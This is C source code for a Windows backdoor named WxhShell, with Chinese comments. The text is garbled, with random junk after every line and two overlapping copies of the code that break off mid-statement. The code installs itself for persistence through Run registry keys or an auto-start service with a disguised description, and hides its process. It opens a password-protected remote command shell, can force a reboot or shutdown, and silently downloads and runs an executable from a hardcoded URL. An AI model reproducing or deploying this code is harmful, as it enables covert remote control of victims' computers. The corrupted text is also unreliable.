    if(Boot(SHUTDOWN)) yXT.]%)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.-g`Vyz*  
    else { cb5T-'hY  
    closesocket(wsh); y!VL`xV  
    ExitThread(0); PS3jCT  
    } u10;qYfL8o  
    break; !B v.@~  
    } +yI2G! $T9  
  // 获取shell @+7CfvM  
  case 's': { ~5>k_\ G8  
    CmdShell(wsh); D4O^5?F)|  
    closesocket(wsh); )8`i%2i=  
    ExitThread(0); -)Hc^'.  
    break; {_R{gpj'  
  } 64qqJmG 3  
  // 退出 &)izh) FA  
  case 'x': { _%wB*u,X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `O]$FpO  
    CloseIt(wsh); <<PXh&wu0  
    break; S1o[)q   
    } DEW;0ic  
  // 离开 b#( X+I  
  case 'q': { tTb fyI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UCo`l~K)qg  
    closesocket(wsh); Z]XjN@j"  
    WSACleanup(); ~7w LnB  
    exit(1); wlFK#iK  
    break; &N*l?7(  
        } @ :}la  
  } ?=,7'@e  
  } 3Mq%3jX  
'iU+mRLp  
  // 提示信息 -_M':  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 73l,PJ  
} ~t<uX "K  
  } Fh4Exl@6  
Z^c\M\`7  
  return; c-**~tb(  
} Tm2+/qO,  
*z^Au7,&  
// shell模块句柄  s&iu+>  
int CmdShell(SOCKET sock) kkIG{Bw  
{ x~ID[  
STARTUPINFO si; AquO#A[,#  
ZeroMemory(&si,sizeof(si)); f\?1oMO\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bO* hmDt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v0(_4U]/  
PROCESS_INFORMATION ProcessInfo; aF[#(PF  
char cmdline[]="cmd"; [QIQpBL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m^ /s}WEqp  
  return 0; JfRLqA/  
} ?DE{4Ti/[  
akG|ic-~  
// 自身启动模式 n}C0gt-  
int StartFromService(void)  i (`Q{l  
{ IEe;ygL#  
typedef struct 'vV+Wu#[  
{ JkQ\r$ Y.  
  DWORD ExitStatus; T^ - -:1  
  DWORD PebBaseAddress; ,<$rSvMfg  
  DWORD AffinityMask; IP^1ca#<  
  DWORD BasePriority; 5cb8=W -  
  ULONG UniqueProcessId; b3ys"Vyn  
  ULONG InheritedFromUniqueProcessId; Z>~7|vl  
}   PROCESS_BASIC_INFORMATION; BKV:U\QZ  
!AG oI7W}  
PROCNTQSIP NtQueryInformationProcess; Q$Rp?o&  
:o:Z   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1.5R`vKn]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :jJ0 +Q  
f?TS#jG4}  
  HANDLE             hProcess; ( j:eky  
  PROCESS_BASIC_INFORMATION pbi;  & [ ,*  
dM-~Qo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !DD4Bqez  
  if(NULL == hInst ) return 0; lQv (5hIm  
c9djBUAk&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \wR\i^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bc;?O`I<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o*3\xg  
E)|Bl>  
  if (!NtQueryInformationProcess) return 0; fOdX2{7m  
7d/I"?=|rA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BY':R-~(  
  if(!hProcess) return 0;  pLM?m  
nd[Ja_h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l5D4 ?`|  
GcG$>&,  
  CloseHandle(hProcess); 8T8]gM  
PAH#yM2Ic  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  yyGn <  
if(hProcess==NULL) return 0; Gz4LjMQ &  
7eW6$$ju,N  
HMODULE hMod; C}ASVywc,1  
char procName[255]; Qjd]BX;  
unsigned long cbNeeded; Zy|u5J  
f ~bgZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t^2$ent  
:(4q\~  
  CloseHandle(hProcess); !r9rTS]  
?X Rl\V  
if(strstr(procName,"services")) return 1; // 以服务启动 9v1Snr  
{;O j  
  return 0; // 注册表启动 9m<%+ S5&  
} U;*O7K=P  
ce*?crOV  
// 主模块 Kw2]J)TO  
int StartWxhshell(LPSTR lpCmdLine) `6BQ6)7  
{ Wz#ZkNO  
  SOCKET wsl; g`~;"%u7cn  
BOOL val=TRUE; 2wa'WEx  
  int port=0; Io t c>!  
  struct sockaddr_in door; D&pp <  
..w$p-1  
  if(wscfg.ws_autoins) Install(); " t?44[  
~qX wQ@  
port=atoi(lpCmdLine); x3F94+<n{  
SwaMpNXL  
if(port<=0) port=wscfg.ws_port; phB d+zQc  
m_FTg)_=  
  WSADATA data; 93ggCOaYA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =1xVw5^F  
Cq3Au%7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f0YBy<a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7K+eI!m.s  
  door.sin_family = AF_INET; m>?|*a,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {:KPEN  
  door.sin_port = htons(port); x![G'I  
mo,"3YW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L0w2qF  
closesocket(wsl); 4G hg~0  
return 1; L">m2/ HG  
} c._!dq&#R  
j,Qb'|f5  
  if(listen(wsl,2) == INVALID_SOCKET) { rv<qze;?|  
closesocket(wsl); kWs:7jiiu  
return 1; iRqLLMrn  
} cVYu(ssC4  
  Wxhshell(wsl); $"k1^&&E  
  WSACleanup(); %NfH`%`  
02)Ybp6y  
return 0; +UX} "m~W  
vl?fCO  
} 54/ZGaonz  
7[i&EPN  
// 以NT服务方式启动 qD /h/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r"p"UW9og  
{ o{ccO29H/  
DWORD   status = 0; :9(w~bB9$  
  DWORD   specificError = 0xfffffff; _@VKWU$$  
&B++ "f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; db}lN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &vIj(e9Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >5zD0!bA  
  serviceStatus.dwWin32ExitCode     = 0; ABL5T-*]  
  serviceStatus.dwServiceSpecificExitCode = 0; 7M_GGjP  
  serviceStatus.dwCheckPoint       = 0; \jS^+Xf?^  
  serviceStatus.dwWaitHint       = 0; Z=< D`  
K6@ %@v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FI)0.p  
  if (hServiceStatusHandle==0) return; !!m GsgnW  
F5M{`:/  
status = GetLastError(); yVJ)JhV  
  if (status!=NO_ERROR) /Ao.b|mm  
{ sDu&9+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +vPCr&40  
    serviceStatus.dwCheckPoint       = 0; =#wE*6T9  
    serviceStatus.dwWaitHint       = 0; 0UGAc]!/RZ  
    serviceStatus.dwWin32ExitCode     = status; 238z'I+$G/  
    serviceStatus.dwServiceSpecificExitCode = specificError; VTi; y{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @&9< )1F  
    return; 3M'Y'Szm  
  } ej&o,gX  
o=F!&]+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <l>L8{-3  
  serviceStatus.dwCheckPoint       = 0; E/D@;Ym18  
  serviceStatus.dwWaitHint       = 0; Nov An+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V;P*/ke  
} Eh[NKgYL  
u/wWD@,  
// 处理NT服务事件,比如:启动、停止 Jq+@%#G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @[n%q.|VB  
{ EJJ&`,q  
switch(fdwControl) B*^QTJ  
{ L:jv%;DM  
case SERVICE_CONTROL_STOP: F$9+WS`c  
  serviceStatus.dwWin32ExitCode = 0; 2%MS$Fto  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |Z$)t%'  
  serviceStatus.dwCheckPoint   = 0; "IWL& cH3  
  serviceStatus.dwWaitHint     = 0; w"A>mEex<  
  { "c![s%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Z3Vf[n5\  
  } eO{2rV45O  
  return; Wck WX]};S  
case SERVICE_CONTROL_PAUSE: pwF])uf*{\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hq,N OP  
  break; ;@n/g U  
case SERVICE_CONTROL_CONTINUE: qVd s 2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )Rj?\ZUR  
  break; cO-^#di  
case SERVICE_CONTROL_INTERROGATE: 0_t9;;y :  
  break; aDE}'d1qo  
}; ^HHT>K-m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8P2_/)|  
} P{,=a]x,mz  
|8{ \j*3  
// 标准应用程序主函数 2,.8 oa(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4*UKR!sr  
{ R]o2_r7N"}  
q-e3;$  
// 获取操作系统版本 CZ(fP86e  
OsIsNt=GetOsVer(); =CaSd|   
GetModuleFileName(NULL,ExeFile,MAX_PATH); B;Co`o2  
AQc9@3T~Bi  
  // 从命令行安装 :r&4/sN}<  
  if(strpbrk(lpCmdLine,"iI")) Install(); V<d`.9*}  
NF7+Gp6?q  
  // 下载执行文件 $@[Mo   
if(wscfg.ws_downexe) { R5<:3tk=X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |lVi* 4za%  
  WinExec(wscfg.ws_filenam,SW_HIDE); vnX~OVz2  
} 8=mx5Gwz-  
Nm3CeU  
if(!OsIsNt) { \r &(l1R  
// 如果时win9x,隐藏进程并且设置为注册表启动 cn'r BY  
HideProc(); ^YEMR C  
StartWxhshell(lpCmdLine); GEki34 n0  
} i\RB KF  
else Ul:M=8nE%  
  if(StartFromService()) &VVvZ@X;  
  // 以服务方式启动 [kI[qByf  
  StartServiceCtrlDispatcher(DispatchTable); ,4(m.P10  
else WX $AOnEv  
  // 普通方式启动 ?nf4K/IjZ!  
  StartWxhshell(lpCmdLine); }/7rA)_  
Ul|htB<1:  
return 0; K!gocNOf  
} t5S!j2E  
KU_""T  
tCu9 D  
D]K?ntS[*  
=========================================== |1/?>=dDm  
:A,7D(H|  
I&5cUj{GX-  
:n oZ p:a  
=Unu>p}2V  
_147d5  
" CW~c<,"  
}`uq:y  
#include <stdio.h> uecjR8\e  
#include <string.h> Z'c9xvy5  
#include <windows.h> @u8kNXT;h  
#include <winsock2.h> %v]-:5g'|  
#include <winsvc.h> ' h|d-p\`9  
#include <urlmon.h> =%+xNOdN7?  
L#/<y{  
#pragma comment (lib, "Ws2_32.lib") ,*;g+[Bhpl  
#pragma comment (lib, "urlmon.lib") ~&+8m=   
 e:6mz\J  
#define MAX_USER   100 // 最大客户端连接数 lq)[  
#define BUF_SOCK   200 // sock buffer cUU"*bA#  
#define KEY_BUFF   255 // 输入 buffer 7i9wfc h$U  
\}7xgQ>oV  
#define REBOOT     0   // 重启 >+*lG>!z  
#define SHUTDOWN   1   // 关机 Kj|\ALI':  
*YTv"  
#define DEF_PORT   5000 // 监听端口 Qy) -gax:,  
:tLMh08h  
#define REG_LEN     16   // 注册表键长度 e`% <D[-  
#define SVC_LEN     80   // NT服务名长度 ZZW%6-B  
hj3wxH.}  
// 从dll定义API iD:T KB_r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8{p#Nl?U1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kT&GsR/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +kOXa^K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FX/f0C3CK  
e]smnf  
// wxhshell配置信息 6+yA4pRSd  
struct WSCFG { R%;dt<Dh  
  int ws_port;         // 监听端口 ^L's45&_  
  char ws_passstr[REG_LEN]; // 口令 \-:4TuU  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z]^O=kX7k  
  char ws_regname[REG_LEN]; // 注册表键名 %eE 6\f%g  
  char ws_svcname[REG_LEN]; // 服务名 t` zPx#])  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'tq4-11xB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AXpyia7nU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P? LpI`f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g<MCvC@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aX35^K /  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mog!pmc{  
o>\epQt~/p  
}; rd}|^&e!Dy  
,}$[;$ye  
// default Wxhshell configuration +K"d\<  
struct WSCFG wscfg={DEF_PORT, 2sT\+C&H  
    "xuhuanlingzhe", @5TJ]=  
    1, 2Xp?O+b#"O  
    "Wxhshell", A)D1 #,0  
    "Wxhshell", Us8nOr>5  
            "WxhShell Service", ?) VBkA5j  
    "Wrsky Windows CmdShell Service", l~GcD  
    "Please Input Your Password: ", w0fFm"A|W  
  1, /QVhT  
  "http://www.wrsky.com/wxhshell.exe", IL<@UWs6  
  "Wxhshell.exe" bH_zWk  
    }; 5x' ^.$K >  
. AX6xc6  
// 消息定义模块 F2mW<REg{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 Y}Bza  
char *msg_ws_prompt="\n\r? for help\n\r#>"; etH]-S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E% \Ohs7  
char *msg_ws_ext="\n\rExit."; >/DlxYG?  
char *msg_ws_end="\n\rQuit."; t x#(K#/  
char *msg_ws_boot="\n\rReboot..."; DsGtc<l%  
char *msg_ws_poff="\n\rShutdown..."; %weG}gCM  
char *msg_ws_down="\n\rSave to "; 7bx!A+, t  
R}\n @X*  
char *msg_ws_err="\n\rErr!"; xtRHb''FX  
char *msg_ws_ok="\n\rOK!"; el^WBC3  
N(L?F):fT  
char ExeFile[MAX_PATH]; VY'1 $  
int nUser = 0; /}RW~ax  
HANDLE handles[MAX_USER]; SFa~j)9'n  
int OsIsNt; p ^Dm w0y  
r WPoR/M  
SERVICE_STATUS       serviceStatus; _0qp!-l}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [V.#w|n  
f hr QJ  
// 函数声明 _9b;8%? Yf  
int Install(void); +(J{~A~  
int Uninstall(void); aak[U;rx  
int DownloadFile(char *sURL, SOCKET wsh); y4 ~;H{!  
int Boot(int flag); O{nM yB  
void HideProc(void); 0?8{q{ o+  
int GetOsVer(void); ,.&y-?  
int Wxhshell(SOCKET wsl); g:CMIe4  
void TalkWithClient(void *cs); 84u %_4/  
int CmdShell(SOCKET sock); /l$>W<}@  
int StartFromService(void); (uskVK>L  
int StartWxhshell(LPSTR lpCmdLine); V<G=pPC'H  
SFx|9$hXm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @EzO bE{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2/V9Or 52  
![4<6/2gy  
// 数据结构和表定义 ) v^;"q"  
SERVICE_TABLE_ENTRY DispatchTable[] = qx<h rC0Z&  
{ [DO UIR9  
{wscfg.ws_svcname, NTServiceMain}, E]j2%}6Z%  
{NULL, NULL} \dw*yZ^  
}; QIZbAnn_  
\1b!I)T9  
// 自我安装 LHJjPf)F  
int Install(void) Z 361ko}  
{ {%Q &CQG_  
  char svExeFile[MAX_PATH]; ;UG]ckV-  
  HKEY key; 0x]W W|se*  
  strcpy(svExeFile,ExeFile); 3,RaM^5dV  
Erd)P  
// 如果是win9x系统,修改注册表设为自启动 1dahVc1W  
if(!OsIsNt) { 2[R{IV8e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i?1g{JW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }qOj^pkJ  
  RegCloseKey(key); rkz_h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -<Zs7(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S8$kxQg  
  RegCloseKey(key); QvN=<V  
  return 0; W_ hckq.  
    } # ^~[\8v>  
  } N++jI(  
} P(#by{s  
else { 7Ta",S@m  
8rx"D`{|  
// 如果是NT以上系统,安装为系统服务 OfSHZ;,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <"Cacf g  
if (schSCManager!=0) yC]X&1,:z  
{ b 5X~^L  
  SC_HANDLE schService = CreateService :RE.md  
  ( Ysz&/ry  
  schSCManager, ApxGrCu  
  wscfg.ws_svcname, lYq4f|5H}m  
  wscfg.ws_svcdisp, s9'lw'  
  SERVICE_ALL_ACCESS, Mk~]0d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "]M]pR/j  
  SERVICE_AUTO_START, PA(XdT{  
  SERVICE_ERROR_NORMAL, ZW0gd7Wh  
  svExeFile, 43 h0i-%1  
  NULL, xVn"xk  
  NULL, 5VG[FY6Pl  
  NULL, Eu^? e  
  NULL, {Bb:S"7NX  
  NULL vhQIkB8  
  ); Rg!Fu  
  if (schService!=0) ]c'12 g]h  
  { 8 aHs I(  
  CloseServiceHandle(schService); q`8M9-~  
  CloseServiceHandle(schSCManager); H=j&uv8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DZI:zsf;5Q  
  strcat(svExeFile,wscfg.ws_svcname); |3A/Og  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a*Oc:$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u'BuZF  
  RegCloseKey(key); :"4Pr/}rT  
  return 0; c{dge/2yb  
    } 8(EK17rE `  
  } 6.!Cm$l  
  CloseServiceHandle(schSCManager); cnR.J  
} B8'e,9   
} "5,tEP!  
,c;u]  
return 1; :DlgNR`bq  
} t<|S7EqIL  
&(] @L\A  
// 自我卸载 1dy>a=W  
int Uninstall(void) z!r-g(^G  
{ 7z=zJ4C  
  HKEY key; 3. kP,  
gfPht 5  
if(!OsIsNt) { -!k$ Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g{}{gBplnl  
  RegDeleteValue(key,wscfg.ws_regname); ?/ @~ d  
  RegCloseKey(key); K5fL{2V?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IP 9{vk  
  RegDeleteValue(key,wscfg.ws_regname); .%(Q*ioDh  
  RegCloseKey(key); cCoa3U/  
  return 0; ]H4T80wm&  
  } 0~5'O[NhF  
} ?x|8"*N  
} EN =oA P  
else { 0 =2D 90  
;%_fQNFb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,(6U3W*bu  
if (schSCManager!=0) l<]@5"wN  
{ 9,4Lb]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LXIQpD,M  
  if (schService!=0) cnUYhxE+s  
  { 8$H_:*A?  
  if(DeleteService(schService)!=0) { d3$&I==;:  
  CloseServiceHandle(schService); f"=1_*eH  
  CloseServiceHandle(schSCManager); s:6pPJL  
  return 0; py9HUyr5eZ  
  } 'ow`ej  
  CloseServiceHandle(schService); S|{'.XG  
  } B~ o;,}  
  CloseServiceHandle(schSCManager); e*7nq ~ B5  
} wIv_Z^% V  
} Tq r]5  
)Bl0 W  
return 1; b0A*zQA_)  
} UKBVCAK  
}w0>mA0=H  
// 从指定url下载文件 xMAfa>]{n  
int DownloadFile(char *sURL, SOCKET wsh) Iq@:n_~  
{ ZZ<uiN$  
  HRESULT hr; y7;i4::A\  
char seps[]= "/"; bF#*cH  
char *token; $rAHtr  
char *file; XQW+6LEQ  
char myURL[MAX_PATH]; b>B.3E\Pc  
char myFILE[MAX_PATH]; dc .oK4G}  
:Kl~hzVSOa  
strcpy(myURL,sURL); JP2zom  
  token=strtok(myURL,seps); |6%B2I&c  
  while(token!=NULL) 'Y ZYRFWXM  
  { FY^[?lj  
    file=token; dU7+rc2,CU  
  token=strtok(NULL,seps); (QPfrR=J4  
  } BrdHTk= Vy  
Ye'=F  
GetCurrentDirectory(MAX_PATH,myFILE); x*G-?Xza)  
strcat(myFILE, "\\"); CLb~6LD  
strcat(myFILE, file); +izB(E8&{J  
  send(wsh,myFILE,strlen(myFILE),0); x-Kq=LFy.  
send(wsh,"...",3,0); [Ch)6p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [7Yfv Xp  
  if(hr==S_OK) ;^9Ao>(?y  
return 0; p97}HT}  
else |a(%a43fC  
return 1; _&Hq`KJm  
s&<6{AU(id  
} Z'P>sV  
hPs7mnSW  
// 系统电源模块 ZeUA  e  
int Boot(int flag) y~.k-b<{[  
{ 6;02_C]\o  
  HANDLE hToken; $*035f  
  TOKEN_PRIVILEGES tkp; bZ-"R 6a$  
#}/YnVk  
  if(OsIsNt) { 3fS+,>s\O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gEVN;G'B<=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b h%@Lo  
    tkp.PrivilegeCount = 1; 7~2b4"&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (vq0Gl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tgy= .o]  
if(flag==REBOOT) { @a08*"lbp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2yu\f u  
  return 0; q~[@(+zP5  
} *} pl  
else { tOJK~%'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I[r  
  return 0; '[E|3K5d  
} (]JZ1s|  
  } or?@Ti;  
  else { Vv"JN?dHi  
if(flag==REBOOT) { aZ[ aZU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1:7 uS.  
  return 0; +d7sy0  
} n+C]&6-b  
else { qSB]Zm<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w4m -DR5  
  return 0; 3{gD'y4j  
} *SW.K{{  
} E8[{U8)[;5  
K%Dksx7ow  
return 1; i+x$Y)=  
} F/MzrK\':m  
&+@~;p 5F  
// win9x进程隐藏模块 f`zH#{u  
void HideProc(void)  Q.3oDq  
{ Q&zEa0^rG6  
gnW]5#c@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c-|~ABtEpX  
  if ( hKernel != NULL ) 8VbHZ9Q  
  { AS 5\X.%L*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _|VWf8?\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *Y4h26  
    FreeLibrary(hKernel); YL(7l|^!  
  } 85>WK+=  
9ANC,+0p  
return; aq'd C=y  
} ikr|P&e#u  
koi QJdK  
// 获取操作系统版本  b)7uz>I  
int GetOsVer(void) mN5`Fct*A>  
{ WD wW`  
  OSVERSIONINFO winfo; <78]OZ] Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X67.%>#3  
  GetVersionEx(&winfo); ]}4{|& e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wv.FL$f[@  
  return 1; udRum7XW 3  
  else u/`jb2eEU:  
  return 0; yc./:t1at>  
} >(v%"04|e  
`t0?PpUo  
// 客户端句柄模块 !$ $|zB%  
int Wxhshell(SOCKET wsl) hD~P)@^  
{ -JL  
  SOCKET wsh; m7zx,bz>  
  struct sockaddr_in client; ooJ ^8L  
  DWORD myID; Ix+===6  
Y^zL}@  
  while(nUser<MAX_USER) G k'j<a  
{ G8c 8`~t  
  int nSize=sizeof(client); Irk@#,{<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HPc7Vo(  
  if(wsh==INVALID_SOCKET) return 1; deD%E-Ja  
r"yA=d'c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JsNqijVC  
if(handles[nUser]==0) F[q:jY  
  closesocket(wsh); ye-o'%{  
else 0_Gi1)  
  nUser++; +f{CfWIKs  
  } A=Au>"nAA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5k0r{^#M  
l?>sLKo9  
  return 0; h/h`?vWu  
} ,@+ 7(W  
MQL1/>j;  
// 关闭 socket ,2Y P D4  
void CloseIt(SOCKET wsh) fz%I'+!  
{ E)eRi"a46  
closesocket(wsh); '4gi*8Y  
nUser--; YkRv~bc1]  
ExitThread(0); }E=:k&IDPB  
} D`nW9i7  
Yg 8AMi  
// 客户端请求句柄 2ckAJcpEb/  
void TalkWithClient(void *cs) d/Q}I[J.u  
{ kF:4 [d  
Wa#!O$u  
  SOCKET wsh=(SOCKET)cs; Qr`WPTQr"  
  char pwd[SVC_LEN]; . &dh7` l  
  char cmd[KEY_BUFF]; 2o0.ttBAqZ  
char chr[1]; 0\ G`AO;D  
int i,j; V=<OV]0  
Pn)^mt  
  while (nUser < MAX_USER) { ^;J@]&[ ~  
l0c ws`V  
if(wscfg.ws_passstr) { 3"2 8=)o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5):2;hk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l_ycYD$ZA  
  //ZeroMemory(pwd,KEY_BUFF); O34'c_ fZ  
      i=0; C -@  
  while(i<SVC_LEN) { -4P2 2  
_pu G?p  
  // 设置超时 = > .EDL.  
  fd_set FdRead; a6K1-SR^6)  
  struct timeval TimeOut; "=l<%em  
  FD_ZERO(&FdRead); P;%4Imq3  
  FD_SET(wsh,&FdRead); 7aH E:Dnwp  
  TimeOut.tv_sec=8; liEb(<$a  
  TimeOut.tv_usec=0; DlB"o.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hZ0p /Bdv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FA 1E`AdU  
LOY+^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U#oe8(?#  
  pwd=chr[0]; F...>%N$  
  if(chr[0]==0xd || chr[0]==0xa) { (mq 7{ ;7y  
  pwd=0; JpVV0x/Q/_  
  break; 2ql7*g?Uq@  
  } +P C<#  
  i++; K&(}5`H0=  
    } "y R56`=  
9/$D&tRN  
  // 如果是非法用户,关闭 socket wAHW@q9CK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .r9-^01mG  
} :tP:X+?O  
%N\pfZ2\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !"u) `I2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nrl&"IK|J  
xNG 'UbU  
while(1) { ".&x`C  
vkE[Ur>  
  ZeroMemory(cmd,KEY_BUFF); 3zJbb3e  
ZN)a}\]  
      // 自动支持客户端 telnet标准   %G9: M;|'  
  j=0; =>ooB/  
  while(j<KEY_BUFF) { F(E3U'G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r!eCfV7  
  cmd[j]=chr[0]; 9moenkL  
  if(chr[0]==0xa || chr[0]==0xd) { }8E//$J  
  cmd[j]=0; ?}*A/-Hx0U  
  break; 'T54k  
  } Y21,!$4gb  
  j++; Q1qf'u  
    } 8Rq+eOP=S  
<fX]`57Dc`  
  // 下载文件 }{*((@GY}  
  if(strstr(cmd,"http://")) { {r2-^Q HF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YQ>P{I%J  
  if(DownloadFile(cmd,wsh)) ;I'pC?!y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jKV,i?  
  else wyO@oi Vn  
